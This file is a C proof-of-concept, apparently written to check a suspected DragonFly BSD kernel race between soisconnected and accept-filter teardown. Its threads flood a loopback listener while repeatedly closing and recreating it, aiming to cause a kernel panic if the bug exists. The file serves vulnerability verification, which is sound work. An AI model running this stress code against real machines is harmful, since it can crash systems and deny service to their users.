DF-2561 / df2561.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 | /* * DF-2561 PoC - soisconnected vs do_setopt_accept_filter race * * Claim: soisconnected dereferences head->so_accf without NULL-check * and without a lock that interlocks with do_setopt_accept_filter, * which can free+NULL so_accf concurrently from a different thread. * * Strategy: * - Thread GROUP "connectors": open many client sockets, connect to * a listening TCP socket on 127.0.0.1, send 1 byte (to drive * accf_data upcall -> soisconnected on the child). * - Thread GROUP "rotators": repeatedly close the listening socket * (forcing sofree -> soqflush -> sodealloc -> do_setopt_accept_filter(so,NULL) * which frees+NULLs so_accf) while there are in-flight children * whose soisconnected may be dereferencing head->so_accf, and * immediately re-create a fresh listener with the accept filter. * * If the race exists: kernel panics (NULL deref / UAF / KKASSERT). * If the pool token interlock holds: runs forever without crashing. * * Build: cc -O2 -o df2561 df2561.c -lpthread * Run: ./df2561 <seconds> (default 20) */ #define _GNU_SOURCE #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/wait.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <signal.h> #include <time.h> #include <fcntl.h> /* SO_ACCEPTFILTER = 0x1000 on DragonFly */ #ifndef SO_ACCEPTFILTER #define SO_ACCEPTFILTER 0x1000 #endif static volatile int g_stop = 0; static volatile int g_listen_fd = -1; static in_port_t g_port = 0; static int g_rotations = 0; static int g_connects = 0; static int g_acceptfilter_ok = 0; static int g_acceptfilter_fail = 0; static void msleep_ms(int ms) { struct timespec ts = { ms / 1000, (ms % 1000) * 1000000L }; nanosleep(&ts, NULL); } static int set_nonblocking(int fd) { int fl = fcntl(fd, F_GETFL, 0); if (fl >= 0) (void)fcntl(fd, F_SETFL, fl | O_NONBLOCK); return fl; } /* Set the "dataready" accept filter on a listening socket. */ static int set_accf(int fd) { struct accept_filter_arg afa; memset(&afa, 0, sizeof(afa)); strncpy(afa.af_name, "dataready", sizeof(afa.af_name) - 1); if (setsockopt(fd, SOL_SOCKET, SO_ACCEPTFILTER, &afa, sizeof(afa)) < 0) return -1; return 0; } /* Create a fresh listener with accept filter on a new ephemeral port. */ static int make_listener(in_port_t *pport) { int fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) return -1; int one = 1; setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = 0; socklen_t slen = sizeof(sa); if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(fd); return -1; } if (getsockname(fd, (struct sockaddr *)&sa, &slen) < 0) { close(fd); return -1; } *pport = sa.sin_port; if (listen(fd, 64) < 0) { close(fd); return -1; } if (set_accf(fd) < 0) { g_acceptfilter_fail++; close(fd); return -1; } g_acceptfilter_ok++; return fd; } /* Acceptor: accept() loop on g_listen_fd, keep queue drained. */ static void * acceptor_fn(void *arg) { (void)arg; while (!g_stop) { int fd = g_listen_fd; if (fd < 0) { msleep_ms(1); continue; } struct sockaddr_in sa; socklen_t slen = sizeof(sa); int cfd = accept(fd, (struct sockaddr *)&sa, &slen); if (cfd >= 0) { char buf[64]; (void)read(cfd, buf, sizeof(buf)); close(cfd); } } return NULL; } /* Connector: hammer connections to the current listener. */ static void * connector_fn(void *arg) { (void)arg; while (!g_stop) { int fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) { msleep_ms(1); continue; } set_nonblocking(fd); struct sockaddr_in sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = g_port; int rc = connect(fd, (struct sockaddr *)&sa, sizeof(sa)); if (rc == 0 || (rc < 0 && errno == EINPROGRESS)) { char b = 'x'; (void)write(fd, &b, 1); g_connects++; } close(fd); } return NULL; } /* Rotator: close+recreate the listener rapidly to drive sodealloc * (which calls do_setopt_accept_filter(so, NULL) -> frees so_accf). */ static void * rotator_fn(void *arg) { (void)arg; while (!g_stop) { int old = g_listen_fd; if (old >= 0) { close(old); } in_port_t port = 0; int nfd = make_listener(&port); if (nfd < 0) { g_listen_fd = -1; msleep_ms(1); continue; } g_port = port; g_listen_fd = nfd; g_rotations++; } return NULL; } int main(int argc, char **argv) { int seconds = 20; if (argc > 1) seconds = atoi(argv[1]); if (seconds < 1) seconds = 1; in_port_t port = 0; int fd = make_listener(&port); if (fd < 0) { fprintf(stderr, "make_listener failed (is accf_data loaded?)\n"); return 2; } g_listen_fd = fd; g_port = port; printf("[parent] listener fd=%d port=%hu accf_ok=%d\n", fd, ntohs(port), g_acceptfilter_ok); fflush(stdout); signal(SIGPIPE, SIG_IGN); pthread_t acc[2], conn[8], rot[2]; for (int i = 0; i < 2; i++) pthread_create(&acc[i], NULL, acceptor_fn, NULL); for (int i = 0; i < 8; i++) pthread_create(&conn[i], NULL, connector_fn, NULL); for (int i = 0; i < 2; i++) pthread_create(&rot[i], NULL, rotator_fn, NULL); printf("[parent] hammering %ds ...\n", seconds); fflush(stdout); for (int s = 0; s < seconds && !g_stop; s++) { sleep(1); printf("[parent] t+%d rotations=%d connects=%d accf_ok=%d accf_fail=%d\n", s + 1, g_rotations, g_connects, g_acceptfilter_ok, g_acceptfilter_fail); fflush(stdout); } g_stop = 1; msleep_ms(200); printf("[parent] DONE: rotations=%d connects=%d accf_ok=%d accf_fail=%d\n", g_rotations, g_connects, g_acceptfilter_ok, g_acceptfilter_fail); printf("[parent] RESULT=NO_CRASH (kernel survived the stress)\n"); fflush(stdout); return 0; } |